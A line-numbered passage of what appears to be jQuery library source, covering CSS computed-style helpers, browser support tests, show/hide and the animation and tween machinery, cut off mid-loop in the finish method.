3951 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
3952 body.appendChild(container).appendChild(div);
3953 if (typeof div.style.zoom !== strundefined) {
3954 div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;" + "padding:1px;width:1px;zoom:1";
3955 div.appendChild(document.createElement("div")).style.width = "5px";
3956 shrinkWrapBlocksVal = div.offsetWidth !== 3
3957 }
3958 body.removeChild(container);
3959 return shrinkWrapBlocksVal
3960 }
3961 })();
3962 var rmargin = (/^margin/);
3963 var rnumnonpx = new RegExp("^(" + pnum + ")(?!px)[a-z%]+$", "i");
3964 var getStyles, curCSS, rposition = /^(top|right|bottom|left)$/;
3965 if (window.getComputedStyle) {
3966 getStyles = function(elem) {
3967 if (elem.ownerDocument.defaultView.opener) {
3968 return elem.ownerDocument.defaultView.getComputedStyle(elem, null)
3969 }
3970 return window.getComputedStyle(elem, null)
3971 };
3972 curCSS = function(elem, name, computed) {
3973 var width, minWidth, maxWidth, ret, style = elem.style;
3974 computed = computed || getStyles(elem);
3975 ret = computed ? computed.getPropertyValue(name) || computed[name] : undefined;
3976 if (computed) {
3977 if (ret === "" && !jQuery.contains(elem.ownerDocument, elem)) {
3978 ret = jQuery.style(elem, name)
3979 }
3980 if (rnumnonpx.test(ret) && rmargin.test(name)) {
3981 width = style.width;
3982 minWidth = style.minWidth;
3983 maxWidth = style.maxWidth;
3984 style.minWidth = style.maxWidth = style.width = ret;
3985 ret = computed.width;
3986 style.width = width;
3987 style.minWidth = minWidth;
3988 style.maxWidth = maxWidth
3989 }
3990 }
3991 return ret === undefined ? ret : ret + ""
3992 }
3993 } else if (document.documentElement.currentStyle) {
3994 getStyles = function(elem) {
3995 return elem.currentStyle
3996 };
3997 curCSS = function(elem, name, computed) {
3998 var left, rs, rsLeft, ret, style = elem.style;
3999 computed = computed || getStyles(elem);
4000 ret = computed ? computed[name] : undefined;
4001 if (ret == null && style && style[name]) {
4002 ret = style[name]
4003 }
4004 if (rnumnonpx.test(ret) && !rposition.test(name)) {
4005 left = style.left;
4006 rs = elem.runtimeStyle;
4007 rsLeft = rs && rs.left;
4008 if (rsLeft) {
4009 rs.left = elem.currentStyle.left
4010 }
4011 style.left = name === "fontSize" ? "1em" : ret;
4012 ret = style.pixelLeft + "px";
4013 style.left = left;
4014 if (rsLeft) {
4015 rs.left = rsLeft
4016 }
4017 }
4018 return ret === undefined ? ret : ret + "" || "auto"
4019 }
4020 }
4021
4022 function addGetHookIf(conditionFn, hookFn) {
4023 return {
4024 get: function() {
4025 var condition = conditionFn();
4026 if (condition == null) {
4027 return
4028 }
4029 if (condition) {
4030 delete this.get;
4031 return
4032 }
4033 return (this.get = hookFn).apply(this, arguments)
4034 }
4035 }
4036 }(function() {
4037 var div, style, a, pixelPositionVal, boxSizingReliableVal, reliableHiddenOffsetsVal, reliableMarginRightVal;
4038 div = document.createElement("div");
4039 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
4040 a = div.getElementsByTagName("a")[0];
4041 style = a && a.style;
4042 if (!style) {
4043 return
4044 }
4045 style.cssText = "float:left;opacity:.5";
4046 support.opacity = style.opacity === "0.5";
4047 support.cssFloat = !!style.cssFloat;
4048 div.style.backgroundClip = "content-box";
4049 div.cloneNode(true).style.backgroundClip = "";
4050 support.clearCloneStyle = div.style.backgroundClip === "content-box";
4051 support.boxSizing = style.boxSizing === "" || style.MozBoxSizing === "" || style.WebkitBoxSizing === "";
4052 jQuery.extend(support, {
4053 reliableHiddenOffsets: function() {
4054 if (reliableHiddenOffsetsVal == null) {
4055 computeStyleTests()
4056 }
4057 return reliableHiddenOffsetsVal
4058 },
4059 boxSizingReliable: function() {
4060 if (boxSizingReliableVal == null) {
4061 computeStyleTests()
4062 }
4063 return boxSizingReliableVal
4064 },
4065 pixelPosition: function() {
4066 if (pixelPositionVal == null) {
4067 computeStyleTests()
4068 }
4069 return pixelPositionVal
4070 },
4071 reliableMarginRight: function() {
4072 if (reliableMarginRightVal == null) {
4073 computeStyleTests()
4074 }
4075 return reliableMarginRightVal
4076 }
4077 });
4078
4079 function computeStyleTests() {
4080 var div, body, container, contents;
4081 body = document.getElementsByTagName("body")[0];
4082 if (!body || !body.style) {
4083 return
4084 }
4085 div = document.createElement("div");
4086 container = document.createElement("div");
4087 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
4088 body.appendChild(container).appendChild(div);
4089 div.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" + "box-sizing:border-box;display:block;margin-top:1%;top:1%;" + "border:1px;padding:1px;width:4px;position:absolute";
4090 pixelPositionVal = boxSizingReliableVal = false;
4091 reliableMarginRightVal = true;
4092 if (window.getComputedStyle) {
4093 pixelPositionVal = (window.getComputedStyle(div, null) || {}).top !== "1%";
4094 boxSizingReliableVal = (window.getComputedStyle(div, null) || {
4095 width: "4px"
4096 }).width === "4px";
4097 contents = div.appendChild(document.createElement("div"));
4098 contents.style.cssText = div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;padding:0";
4099 contents.style.marginRight = contents.style.width = "0";
4100 div.style.width = "1px";
4101 reliableMarginRightVal = !parseFloat((window.getComputedStyle(contents, null) || {}).marginRight);
4102 div.removeChild(contents)
4103 }
4104 div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
4105 contents = div.getElementsByTagName("td");
4106 contents[0].style.cssText = "margin:0;border:0;padding:0;display:none";
4107 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0;
4108 if (reliableHiddenOffsetsVal) {
4109 contents[0].style.display = "";
4110 contents[1].style.display = "none";
4111 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0
4112 }
4113 body.removeChild(container)
4114 }
4115 })();
4116 jQuery.swap = function(elem, options, callback, args) {
4117 var ret, name, old = {};
4118 for (name in options) {
4119 old[name] = elem.style[name];
4120 elem.style[name] = options[name]
4121 }
4122 ret = callback.apply(elem, args || []);
4123 for (name in options) {
4124 elem.style[name] = old[name]
4125 }
4126 return ret
4127 };
4128 var ralpha = /alpha\([^)]*\)/i,
4129 ropacity = /opacity\s*=\s*([^)]*)/,
4130 rdisplayswap = /^(none|table(?!-c[ea]).+)/,
4131 rnumsplit = new RegExp("^(" + pnum + ")(.*)$", "i"),
4132 rrelNum = new RegExp("^([+-])=(" + pnum + ")", "i"),
4133 cssShow = {
4134 position: "absolute",
4135 visibility: "hidden",
4136 display: "block"
4137 },
4138 cssNormalTransform = {
4139 letterSpacing: "0",
4140 fontWeight: "400"
4141 },
4142 cssPrefixes = ["Webkit", "O", "Moz", "ms"];
4143
4144 function vendorPropName(style, name) {
4145 if (name in style) {
4146 return name
4147 }
4148 var capName = name.charAt(0).toUpperCase() + name.slice(1),
4149 origName = name,
4150 i = cssPrefixes.length;
4151 while (i--) {
4152 name = cssPrefixes[i] + capName;
4153 if (name in style) {
4154 return name
4155 }
4156 }
4157 return origName
4158 }
4159
4160 function showHide(elements, show) {
4161 var display, elem, hidden, values = [],
4162 index = 0,
4163 length = elements.length;
4164 for (; index < length; index++) {
4165 elem = elements[index];
4166 if (!elem.style) {
4167 continue
4168 }
4169 values[index] = jQuery._data(elem, "olddisplay");
4170 display = elem.style.display;
4171 if (show) {
4172 if (!values[index] && display === "none") {
4173 elem.style.display = ""
4174 }
4175 if (elem.style.display === "" && isHidden(elem)) {
4176 values[index] = jQuery._data(elem, "olddisplay", defaultDisplay(elem.nodeName))
4177 }
4178 } else {
4179 hidden = isHidden(elem);
4180 if (display && display !== "none" || !hidden) {
4181 jQuery._data(elem, "olddisplay", hidden ? display : jQuery.css(elem, "display"))
4182 }
4183 }
4184 }
4185 for (index = 0; index < length; index++) {
4186 elem = elements[index];
4187 if (!elem.style) {
4188 continue
4189 }
4190 if (!show || elem.style.display === "none" || elem.style.display === "") {
4191 elem.style.display = show ? values[index] || "" : "none"
4192 }
4193 }
4194 return elements
4195 }
4196
4197 function setPositiveNumber(elem, value, subtract) {
4198 var matches = rnumsplit.exec(value);
4199 return matches ? Math.max(0, matches[1] - (subtract || 0)) + (matches[2] || "px") : value
4200 }
4201
4202 function augmentWidthOrHeight(elem, name, extra, isBorderBox, styles) {
4203 var i = extra === (isBorderBox ? "border" : "content") ? 4 : name === "width" ? 1 : 0,
4204 val = 0;
4205 for (; i < 4; i += 2) {
4206 if (extra === "margin") {
4207 val += jQuery.css(elem, extra + cssExpand[i], true, styles)
4208 }
4209 if (isBorderBox) {
4210 if (extra === "content") {
4211 val -= jQuery.css(elem, "padding" + cssExpand[i], true, styles)
4212 }
4213 if (extra !== "margin") {
4214 val -= jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4215 }
4216 } else {
4217 val += jQuery.css(elem, "padding" + cssExpand[i], true, styles);
4218 if (extra !== "padding") {
4219 val += jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4220 }
4221 }
4222 }
4223 return val
4224 }
4225
4226 function getWidthOrHeight(elem, name, extra) {
4227 var valueIsBorderBox = true,
4228 val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
4229 styles = getStyles(elem),
4230 isBorderBox = support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box";
4231 if (val <= 0 || val == null) {
4232 val = curCSS(elem, name, styles);
4233 if (val < 0 || val == null) {
4234 val = elem.style[name]
4235 }
4236 if (rnumnonpx.test(val)) {
4237 return val
4238 }
4239 valueIsBorderBox = isBorderBox && (support.boxSizingReliable() || val === elem.style[name]);
4240 val = parseFloat(val) || 0
4241 }
4242 return (val + augmentWidthOrHeight(elem, name, extra || (isBorderBox ? "border" : "content"), valueIsBorderBox, styles)) + "px"
4243 }
4244 jQuery.extend({
4245 cssHooks: {
4246 opacity: {
4247 get: function(elem, computed) {
4248 if (computed) {
4249 var ret = curCSS(elem, "opacity");
4250 return ret === "" ? "1" : ret
4251 }
4252 }
4253 }
4254 },
4255 cssNumber: {
4256 "columnCount": true,
4257 "fillOpacity": true,
4258 "flexGrow": true,
4259 "flexShrink": true,
4260 "fontWeight": true,
4261 "lineHeight": true,
4262 "opacity": true,
4263 "order": true,
4264 "orphans": true,
4265 "widows": true,
4266 "zIndex": true,
4267 "zoom": true
4268 },
4269 cssProps: {
4270 "float": support.cssFloat ? "cssFloat" : "styleFloat"
4271 },
4272 style: function(elem, name, value, extra) {
4273 if (!elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style) {
4274 return
4275 }
4276 var ret, type, hooks, origName = jQuery.camelCase(name),
4277 style = elem.style;
4278 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(style, origName));
4279 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4280 if (value !== undefined) {
4281 type = typeof value;
4282 if (type === "string" && (ret = rrelNum.exec(value))) {
4283 value = (ret[1] + 1) * ret[2] + parseFloat(jQuery.css(elem, name));
4284 type = "number"
4285 }
4286 if (value == null || value !== value) {
4287 return
4288 }
4289 if (type === "number" && !jQuery.cssNumber[origName]) {
4290 value += "px"
4291 }
4292 if (!support.clearCloneStyle && value === "" && name.indexOf("background") === 0) {
4293 style[name] = "inherit"
4294 }
4295 if (!hooks || !("set" in hooks) || (value = hooks.set(elem, value, extra)) !== undefined) {
4296 try {
4297 style[name] = value
4298 } catch (e) {}
4299 }
4300 } else {
4301 if (hooks && "get" in hooks && (ret = hooks.get(elem, false, extra)) !== undefined) {
4302 return ret
4303 }
4304 return style[name]
4305 }
4306 },
4307 css: function(elem, name, extra, styles) {
4308 var num, val, hooks, origName = jQuery.camelCase(name);
4309 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(elem.style, origName));
4310 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4311 if (hooks && "get" in hooks) {
4312 val = hooks.get(elem, true, extra)
4313 }
4314 if (val === undefined) {
4315 val = curCSS(elem, name, styles)
4316 }
4317 if (val === "normal" && name in cssNormalTransform) {
4318 val = cssNormalTransform[name]
4319 }
4320 if (extra === "" || extra) {
4321 num = parseFloat(val);
4322 return extra === true || jQuery.isNumeric(num) ? num || 0 : val
4323 }
4324 return val
4325 }
4326 });
4327 jQuery.each(["height", "width"], function(i, name) {
4328 jQuery.cssHooks[name] = {
4329 get: function(elem, computed, extra) {
4330 if (computed) {
4331 return rdisplayswap.test(jQuery.css(elem, "display")) && elem.offsetWidth === 0 ? jQuery.swap(elem, cssShow, function() {
4332 return getWidthOrHeight(elem, name, extra)
4333 }) : getWidthOrHeight(elem, name, extra)
4334 }
4335 },
4336 set: function(elem, value, extra) {
4337 var styles = extra && getStyles(elem);
4338 return setPositiveNumber(elem, value, extra ? augmentWidthOrHeight(elem, name, extra, support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box", styles) : 0)
4339 }
4340 }
4341 });
4342 if (!support.opacity) {
4343 jQuery.cssHooks.opacity = {
4344 get: function(elem, computed) {
4345 return ropacity.test((computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "") ? (0.01 * parseFloat(RegExp.$1)) + "" : computed ? "1" : ""
4346 },
4347 set: function(elem, value) {
4348 var style = elem.style,
4349 currentStyle = elem.currentStyle,
4350 opacity = jQuery.isNumeric(value) ? "alpha(opacity=" + value * 100 + ")" : "",
4351 filter = currentStyle && currentStyle.filter || style.filter || "";
4352 style.zoom = 1;
4353 if ((value >= 1 || value === "") && jQuery.trim(filter.replace(ralpha, "")) === "" && style.removeAttribute) {
4354 style.removeAttribute("filter");
4355 if (value === "" || currentStyle && !currentStyle.filter) {
4356 return
4357 }
4358 }
4359 style.filter = ralpha.test(filter) ? filter.replace(ralpha, opacity) : filter + " " + opacity
4360 }
4361 }
4362 }
4363 jQuery.cssHooks.marginRight = addGetHookIf(support.reliableMarginRight, function(elem, computed) {
4364 if (computed) {
4365 return jQuery.swap(elem, {
4366 "display": "inline-block"
4367 }, curCSS, [elem, "marginRight"])
4368 }
4369 });
4370 jQuery.each({
4371 margin: "",
4372 padding: "",
4373 border: "Width"
4374 }, function(prefix, suffix) {
4375 jQuery.cssHooks[prefix + suffix] = {
4376 expand: function(value) {
4377 var i = 0,
4378 expanded = {},
4379 parts = typeof value === "string" ? value.split(" ") : [value];
4380 for (; i < 4; i++) {
4381 expanded[prefix + cssExpand[i] + suffix] = parts[i] || parts[i - 2] || parts[0]
4382 }
4383 return expanded
4384 }
4385 };
4386 if (!rmargin.test(prefix)) {
4387 jQuery.cssHooks[prefix + suffix].set = setPositiveNumber
4388 }
4389 });
4390 jQuery.fn.extend({
4391 css: function(name, value) {
4392 return access(this, function(elem, name, value) {
4393 var styles, len, map = {},
4394 i = 0;
4395 if (jQuery.isArray(name)) {
4396 styles = getStyles(elem);
4397 len = name.length;
4398 for (; i < len; i++) {
4399 map[name[i]] = jQuery.css(elem, name[i], false, styles)
4400 }
4401 return map
4402 }
4403 return value !== undefined ? jQuery.style(elem, name, value) : jQuery.css(elem, name)
4404 }, name, value, arguments.length > 1)
4405 },
4406 show: function() {
4407 return showHide(this, true)
4408 },
4409 hide: function() {
4410 return showHide(this)
4411 },
4412 toggle: function(state) {
4413 if (typeof state === "boolean") {
4414 return state ? this.show() : this.hide()
4415 }
4416 return this.each(function() {
4417 if (isHidden(this)) {
4418 jQuery(this).show()
4419 } else {
4420 jQuery(this).hide()
4421 }
4422 })
4423 }
4424 });
4425
4426 function Tween(elem, options, prop, end, easing) {
4427 return new Tween.prototype.init(elem, options, prop, end, easing)
4428 }
4429 jQuery.Tween = Tween;
4430 Tween.prototype = {
4431 constructor: Tween,
4432 init: function(elem, options, prop, end, easing, unit) {
4433 this.elem = elem;
4434 this.prop = prop;
4435 this.easing = easing || "swing";
4436 this.options = options;
4437 this.start = this.now = this.cur();
4438 this.end = end;
4439 this.unit = unit || (jQuery.cssNumber[prop] ? "" : "px")
4440 },
4441 cur: function() {
4442 var hooks = Tween.propHooks[this.prop];
4443 return hooks && hooks.get ? hooks.get(this) : Tween.propHooks._default.get(this)
4444 },
4445 run: function(percent) {
4446 var eased, hooks = Tween.propHooks[this.prop];
4447 if (this.options.duration) {
4448 this.pos = eased = jQuery.easing[this.easing](percent, this.options.duration * percent, 0, 1, this.options.duration)
4449 } else {
4450 this.pos = eased = percent
4451 }
4452 this.now = (this.end - this.start) * eased + this.start;
4453 if (this.options.step) {
4454 this.options.step.call(this.elem, this.now, this)
4455 }
4456 if (hooks && hooks.set) {
4457 hooks.set(this)
4458 } else {
4459 Tween.propHooks._default.set(this)
4460 }
4461 return this
4462 }
4463 };
4464 Tween.prototype.init.prototype = Tween.prototype;
4465 Tween.propHooks = {
4466 _default: {
4467 get: function(tween) {
4468 var result;
4469 if (tween.elem[tween.prop] != null && (!tween.elem.style || tween.elem.style[tween.prop] == null)) {
4470 return tween.elem[tween.prop]
4471 }
4472 result = jQuery.css(tween.elem, tween.prop, "");
4473 return !result || result === "auto" ? 0 : result
4474 },
4475 set: function(tween) {
4476 if (jQuery.fx.step[tween.prop]) {
4477 jQuery.fx.step[tween.prop](tween)
4478 } else if (tween.elem.style && (tween.elem.style[jQuery.cssProps[tween.prop]] != null || jQuery.cssHooks[tween.prop])) {
4479 jQuery.style(tween.elem, tween.prop, tween.now + tween.unit)
4480 } else {
4481 tween.elem[tween.prop] = tween.now
4482 }
4483 }
4484 }
4485 };
4486 Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
4487 set: function(tween) {
4488 if (tween.elem.nodeType && tween.elem.parentNode) {
4489 tween.elem[tween.prop] = tween.now
4490 }
4491 }
4492 };
4493 jQuery.easing = {
4494 linear: function(p) {
4495 return p
4496 },
4497 swing: function(p) {
4498 return 0.5 - Math.cos(p * Math.PI) / 2
4499 }
4500 };
4501 jQuery.fx = Tween.prototype.init;
4502 jQuery.fx.step = {};
4503 var fxNow, timerId, rfxtypes = /^(?:toggle|show|hide)$/,
4504 rfxnum = new RegExp("^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i"),
4505 rrun = /queueHooks$/,
4506 animationPrefilters = [defaultPrefilter],
4507 tweeners = {
4508 "*": [function(prop, value) {
4509 var tween = this.createTween(prop, value),
4510 target = tween.cur(),
4511 parts = rfxnum.exec(value),
4512 unit = parts && parts[3] || (jQuery.cssNumber[prop] ? "" : "px"),
4513 start = (jQuery.cssNumber[prop] || unit !== "px" && +target) && rfxnum.exec(jQuery.css(tween.elem, prop)),
4514 scale = 1,
4515 maxIterations = 20;
4516 if (start && start[3] !== unit) {
4517 unit = unit || start[3];
4518 parts = parts || [];
4519 start = +target || 1;
4520 do {
4521 scale = scale || ".5";
4522 start = start / scale;
4523 jQuery.style(tween.elem, prop, start + unit)
4524 } while (scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations)
4525 }
4526 if (parts) {
4527 start = tween.start = +start || +target || 0;
4528 tween.unit = unit;
4529 tween.end = parts[1] ? start + (parts[1] + 1) * parts[2] : +parts[2]
4530 }
4531 return tween
4532 }]
4533 };
4534
4535 function createFxNow() {
4536 setTimeout(function() {
4537 fxNow = undefined
4538 });
4539 return (fxNow = jQuery.now())
4540 }
4541
4542 function genFx(type, includeWidth) {
4543 var which, attrs = {
4544 height: type
4545 },
4546 i = 0;
4547 includeWidth = includeWidth ? 1 : 0;
4548 for (; i < 4; i += 2 - includeWidth) {
4549 which = cssExpand[i];
4550 attrs["margin" + which] = attrs["padding" + which] = type
4551 }
4552 if (includeWidth) {
4553 attrs.opacity = attrs.width = type
4554 }
4555 return attrs
4556 }
4557
4558 function createTween(value, prop, animation) {
4559 var tween, collection = (tweeners[prop] || []).concat(tweeners["*"]),
4560 index = 0,
4561 length = collection.length;
4562 for (; index < length; index++) {
4563 if ((tween = collection[index].call(animation, prop, value))) {
4564 return tween
4565 }
4566 }
4567 }
4568
4569 function defaultPrefilter(elem, props, opts) {
4570 var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay, anim = this,
4571 orig = {},
4572 style = elem.style,
4573 hidden = elem.nodeType && isHidden(elem),
4574 dataShow = jQuery._data(elem, "fxshow");
4575 if (!opts.queue) {
4576 hooks = jQuery._queueHooks(elem, "fx");
4577 if (hooks.unqueued == null) {
4578 hooks.unqueued = 0;
4579 oldfire = hooks.empty.fire;
4580 hooks.empty.fire = function() {
4581 if (!hooks.unqueued) {
4582 oldfire()
4583 }
4584 }
4585 }
4586 hooks.unqueued++;
4587 anim.always(function() {
4588 anim.always(function() {
4589 hooks.unqueued--;
4590 if (!jQuery.queue(elem, "fx").length) {
4591 hooks.empty.fire()
4592 }
4593 })
4594 })
4595 }
4596 if (elem.nodeType === 1 && ("height" in props || "width" in props)) {
4597 opts.overflow = [style.overflow, style.overflowX, style.overflowY];
4598 display = jQuery.css(elem, "display");
4599 checkDisplay = display === "none" ? jQuery._data(elem, "olddisplay") || defaultDisplay(elem.nodeName) : display;
4600 if (checkDisplay === "inline" && jQuery.css(elem, "float") === "none") {
4601 if (!support.inlineBlockNeedsLayout || defaultDisplay(elem.nodeName) === "inline") {
4602 style.display = "inline-block"
4603 } else {
4604 style.zoom = 1
4605 }
4606 }
4607 }
4608 if (opts.overflow) {
4609 style.overflow = "hidden";
4610 if (!support.shrinkWrapBlocks()) {
4611 anim.always(function() {
4612 style.overflow = opts.overflow[0];
4613 style.overflowX = opts.overflow[1];
4614 style.overflowY = opts.overflow[2]
4615 })
4616 }
4617 }
4618 for (prop in props) {
4619 value = props[prop];
4620 if (rfxtypes.exec(value)) {
4621 delete props[prop];
4622 toggle = toggle || value === "toggle";
4623 if (value === (hidden ? "hide" : "show")) {
4624 if (value === "show" && dataShow && dataShow[prop] !== undefined) {
4625 hidden = true
4626 } else {
4627 continue
4628 }
4629 }
4630 orig[prop] = dataShow && dataShow[prop] || jQuery.style(elem, prop)
4631 } else {
4632 display = undefined
4633 }
4634 }
4635 if (!jQuery.isEmptyObject(orig)) {
4636 if (dataShow) {
4637 if ("hidden" in dataShow) {
4638 hidden = dataShow.hidden
4639 }
4640 } else {
4641 dataShow = jQuery._data(elem, "fxshow", {})
4642 }
4643 if (toggle) {
4644 dataShow.hidden = !hidden
4645 }
4646 if (hidden) {
4647 jQuery(elem).show()
4648 } else {
4649 anim.done(function() {
4650 jQuery(elem).hide()
4651 })
4652 }
4653 anim.done(function() {
4654 var prop;
4655 jQuery._removeData(elem, "fxshow");
4656 for (prop in orig) {
4657 jQuery.style(elem, prop, orig[prop])
4658 }
4659 });
4660 for (prop in orig) {
4661 tween = createTween(hidden ? dataShow[prop] : 0, prop, anim);
4662 if (!(prop in dataShow)) {
4663 dataShow[prop] = tween.start;
4664 if (hidden) {
4665 tween.end = tween.start;
4666 tween.start = prop === "width" || prop === "height" ? 1 : 0
4667 }
4668 }
4669 }
4670 } else if ((display === "none" ? defaultDisplay(elem.nodeName) : display) === "inline") {
4671 style.display = display
4672 }
4673 }
4674
4675 function propFilter(props, specialEasing) {
4676 var index, name, easing, value, hooks;
4677 for (index in props) {
4678 name = jQuery.camelCase(index);
4679 easing = specialEasing[name];
4680 value = props[index];
4681 if (jQuery.isArray(value)) {
4682 easing = value[1];
4683 value = props[index] = value[0]
4684 }
4685 if (index !== name) {
4686 props[name] = value;
4687 delete props[index]
4688 }
4689 hooks = jQuery.cssHooks[name];
4690 if (hooks && "expand" in hooks) {
4691 value = hooks.expand(value);
4692 delete props[name];
4693 for (index in value) {
4694 if (!(index in props)) {
4695 props[index] = value[index];
4696 specialEasing[index] = easing
4697 }
4698 }
4699 } else {
4700 specialEasing[name] = easing
4701 }
4702 }
4703 }
4704
4705 function Animation(elem, properties, options) {
4706 var result, stopped, index = 0,
4707 length = animationPrefilters.length,
4708 deferred = jQuery.Deferred().always(function() {
4709 delete tick.elem
4710 }),
4711 tick = function() {
4712 if (stopped) {
4713 return false
4714 }
4715 var currentTime = fxNow || createFxNow(),
4716 remaining = Math.max(0, animation.startTime + animation.duration - currentTime),
4717 temp = remaining / animation.duration || 0,
4718 percent = 1 - temp,
4719 index = 0,
4720 length = animation.tweens.length;
4721 for (; index < length; index++) {
4722 animation.tweens[index].run(percent)
4723 }
4724 deferred.notifyWith(elem, [animation, percent, remaining]);
4725 if (percent < 1 && length) {
4726 return remaining
4727 } else {
4728 deferred.resolveWith(elem, [animation]);
4729 return false
4730 }
4731 },
4732 animation = deferred.promise({
4733 elem: elem,
4734 props: jQuery.extend({}, properties),
4735 opts: jQuery.extend(true, {
4736 specialEasing: {}
4737 }, options),
4738 originalProperties: properties,
4739 originalOptions: options,
4740 startTime: fxNow || createFxNow(),
4741 duration: options.duration,
4742 tweens: [],
4743 createTween: function(prop, end) {
4744 var tween = jQuery.Tween(elem, animation.opts, prop, end, animation.opts.specialEasing[prop] || animation.opts.easing);
4745 animation.tweens.push(tween);
4746 return tween
4747 },
4748 stop: function(gotoEnd) {
4749 var index = 0,
4750 length = gotoEnd ? animation.tweens.length : 0;
4751 if (stopped) {
4752 return this
4753 }
4754 stopped = true;
4755 for (; index < length; index++) {
4756 animation.tweens[index].run(1)
4757 }
4758 if (gotoEnd) {
4759 deferred.resolveWith(elem, [animation, gotoEnd])
4760 } else {
4761 deferred.rejectWith(elem, [animation, gotoEnd])
4762 }
4763 return this
4764 }
4765 }),
4766 props = animation.props;
4767 propFilter(props, animation.opts.specialEasing);
4768 for (; index < length; index++) {
4769 result = animationPrefilters[index].call(animation, elem, props, animation.opts);
4770 if (result) {
4771 return result
4772 }
4773 }
4774 jQuery.map(props, createTween, animation);
4775 if (jQuery.isFunction(animation.opts.start)) {
4776 animation.opts.start.call(elem, animation)
4777 }
4778 jQuery.fx.timer(jQuery.extend(tick, {
4779 elem: elem,
4780 anim: animation,
4781 queue: animation.opts.queue
4782 }));
4783 return animation.progress(animation.opts.progress).done(animation.opts.done, animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)
4784 }
4785 jQuery.Animation = jQuery.extend(Animation, {
4786 tweener: function(props, callback) {
4787 if (jQuery.isFunction(props)) {
4788 callback = props;
4789 props = ["*"]
4790 } else {
4791 props = props.split(" ")
4792 }
4793 var prop, index = 0,
4794 length = props.length;
4795 for (; index < length; index++) {
4796 prop = props[index];
4797 tweeners[prop] = tweeners[prop] || [];
4798 tweeners[prop].unshift(callback)
4799 }
4800 },
4801 prefilter: function(callback, prepend) {
4802 if (prepend) {
4803 animationPrefilters.unshift(callback)
4804 } else {
4805 animationPrefilters.push(callback)
4806 }
4807 }
4808 });
4809 jQuery.speed = function(speed, easing, fn) {
4810 var opt = speed && typeof speed === "object" ? jQuery.extend({}, speed) : {
4811 complete: fn || !fn && easing || jQuery.isFunction(speed) && speed,
4812 duration: speed,
4813 easing: fn && easing || easing && !jQuery.isFunction(easing) && easing
4814 };
4815 opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default;
4816 if (opt.queue == null || opt.queue === true) {
4817 opt.queue = "fx"
4818 }
4819 opt.old = opt.complete;
4820 opt.complete = function() {
4821 if (jQuery.isFunction(opt.old)) {
4822 opt.old.call(this)
4823 }
4824 if (opt.queue) {
4825 jQuery.dequeue(this, opt.queue)
4826 }
4827 };
4828 return opt
4829 };
4830 jQuery.fn.extend({
4831 fadeTo: function(speed, to, easing, callback) {
4832 return this.filter(isHidden).css("opacity", 0).show().end().animate({
4833 opacity: to
4834 }, speed, easing, callback)
4835 },
4836 animate: function(prop, speed, easing, callback) {
4837 var empty = jQuery.isEmptyObject(prop),
4838 optall = jQuery.speed(speed, easing, callback),
4839 doAnimation = function() {
4840 var anim = Animation(this, jQuery.extend({}, prop), optall);
4841 if (empty || jQuery._data(this, "finish")) {
4842 anim.stop(true)
4843 }
4844 };
4845 doAnimation.finish = doAnimation;
4846 return empty || optall.queue === false ? this.each(doAnimation) : this.queue(optall.queue, doAnimation)
4847 },
4848 stop: function(type, clearQueue, gotoEnd) {
4849 var stopQueue = function(hooks) {
4850 var stop = hooks.stop;
4851 delete hooks.stop;
4852 stop(gotoEnd)
4853 };
4854 if (typeof type !== "string") {
4855 gotoEnd = clearQueue;
4856 clearQueue = type;
4857 type = undefined
4858 }
4859 if (clearQueue && type !== false) {
4860 this.queue(type || "fx", [])
4861 }
4862 return this.each(function() {
4863 var dequeue = true,
4864 index = type != null && type + "queueHooks",
4865 timers = jQuery.timers,
4866 data = jQuery._data(this);
4867 if (index) {
4868 if (data[index] && data[index].stop) {
4869 stopQueue(data[index])
4870 }
4871 } else {
4872 for (index in data) {
4873 if (data[index] && data[index].stop && rrun.test(index)) {
4874 stopQueue(data[index])
4875 }
4876 }
4877 }
4878 for (index = timers.length; index--;) {
4879 if (timers[index].elem === this && (type == null || timers[index].queue === type)) {
4880 timers[index].anim.stop(gotoEnd);
4881 dequeue = false;
4882 timers.splice(index, 1)
4883 }
4884 }
4885 if (dequeue || !gotoEnd) {
4886 jQuery.dequeue(this, type)
4887 }
4888 })
4889 },
4890 finish: function(type) {
4891 if (type !== false) {
4892 type = type || "fx"
4893 }
4894 return this.each(function() {
4895 var index, data = jQuery._data(this),
4896 queue = data[type + "queue"],
4897 hooks = data[type + "queueHooks"],
4898 timers = jQuery.timers,
4899 length = queue ? queue.length : 0;
4900 data.finish = true;
4901 jQuery.queue(this, type, []);
4902 if (hooks && hooks.stop) {
4903 hooks.stop.call(this, true)
4904 }
4905 for (index = timers.length; index--;) {
4906 if (timers[index].elem === this && timers[index].queue === type) {
4907 timers[index].anim.stop(true);
4908 timers.splice(index, 1)
4909 }
4910 }
4911 for (index = 0; index < length; index++) {
